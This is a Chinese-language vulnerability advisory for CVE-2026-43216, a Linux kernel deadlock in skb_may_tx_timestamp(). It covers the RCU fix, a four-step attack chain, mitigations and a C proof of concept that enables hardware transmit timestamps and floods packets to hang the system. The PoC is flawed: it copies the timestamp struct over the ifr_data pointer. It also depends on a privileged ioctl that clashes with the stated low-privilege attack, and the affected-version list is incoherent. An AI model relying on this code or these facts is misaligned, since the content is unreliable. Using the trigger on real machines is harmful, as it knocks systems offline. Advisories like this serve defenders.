IPBUF安全漏洞报告
English
CVE-2026-43216 CVSS 5.5 中危

CVE-2026-43216: Linux内核网络子系统死锁漏洞

披露日期: 2026-05-06
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43216
漏洞类型
拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux Kernel拒绝服务死锁本地漏洞网络子系统

漏洞概述

Linux内核网络子系统中存在一处死锁漏洞。`skb_may_tx_timestamp()`函数在处理时间戳时会获取`sock::sk_callback_lock`,若此时处于IRQ上下文且该锁已被同一CPU占用,将导致死锁。该漏洞允许本地低权限用户触发系统不可用,修复方案通过RCU机制移除了锁依赖。

技术细节

漏洞发生在Linux内核的`skb_may_tx_timestamp()`函数中。该函数为了检查Socket状态,试图获取`sock::sk_callback_lock`自旋锁。然而,部分网卡驱动程序通过硬中断来处理发送时间戳的完成通知。如果在硬中断上下文中调用该函数,且该锁在同一个CPU上已经被写锁定(例如在软中断或进程上下文中),就会发生死锁,导致系统挂起或崩溃。由于`sk_socket`和`file`成员在Socket关闭时会被设置为NULL,且是通过RCU延迟释放的,因此完全可以利用RCU机制来安全地读取这些指针,而无需持有自旋锁。修复补丁通过`READ_ONCE()`宏读取指针,配合`WRITE_ONCE()`进行写入,消除了在IRQ上下文获取锁的必要,从而解决了死锁问题。

攻击链分析

STEP 1
1. 本地访问
攻击者需要在目标系统上拥有低权限的本地访问能力。
STEP 2
2. 创建Socket
攻击者创建一个网络Socket,并尝试启用硬件发送时间戳功能。
STEP 3
3. 触发网络流量
攻击者发送大量数据包,触发网卡驱动的发送操作及后续的时间戳中断处理。
STEP 4
4. 触发死锁
在IRQ上下文中处理时间戳时,内核尝试获取已被占用的`sock::sk_callback_lock`,导致死锁,系统挂起。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * Conceptual PoC for CVE-2026-43216 * Triggering potential deadlock in skb_may_tx_timestamp by * enabling hardware timestamps and sending packets. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <unistd.h> #include <linux/net_tstamp.h> #include <sys/ioctl.h> int main() { int sockfd; struct sockaddr_in addr; struct ifreq ifreq; struct hwtstamp_config hwtstamp; char buffer[1024]; sockfd = socket(AF_INET, SOCK_DGRAM, 0); if (sockfd < 0) { perror("socket"); return 1; } // Attempt to enable hardware timestamping to trigger driver IRQ path // Note: Requires a network interface supporting hardware timestamping (e.g., eth0) strcpy(ifreq.ifr_name, "eth0"); hwtstamp.flags = 0; hwtstamp.tx_type = HWTSTAMP_TX_ON; memcpy(&ifreq.ifr_data, &hwtstamp, sizeof(hwtstamp)); if (ioctl(sockfd, SIOCSHWTSTAMP, &ifreq) < 0) { perror("ioctl SIOCSHWTSTAMP"); } memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_port = htons(8080); inet_pton(AF_INET, "127.0.0.1", &addr.sin_addr); // Send packets to trigger the timestamp handling logic in IRQ context for (int i = 0; i < 10000; i++) { sendto(sockfd, buffer, sizeof(buffer), 0, (struct sockaddr *)&addr, sizeof(addr)); } close(sockfd); return 0; }

影响范围

Linux Kernel < 6.8
Linux Kernel < 6.6
Linux Kernel < 6.1

防御指南

临时缓解措施
由于该漏洞需要本地低权限用户触发,最有效的临时缓解措施是严格控制本地用户权限,避免不可信用户在系统上执行代码。此外,禁用网卡的硬件时间戳功能(如果业务允许)可以避免触发该代码路径。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表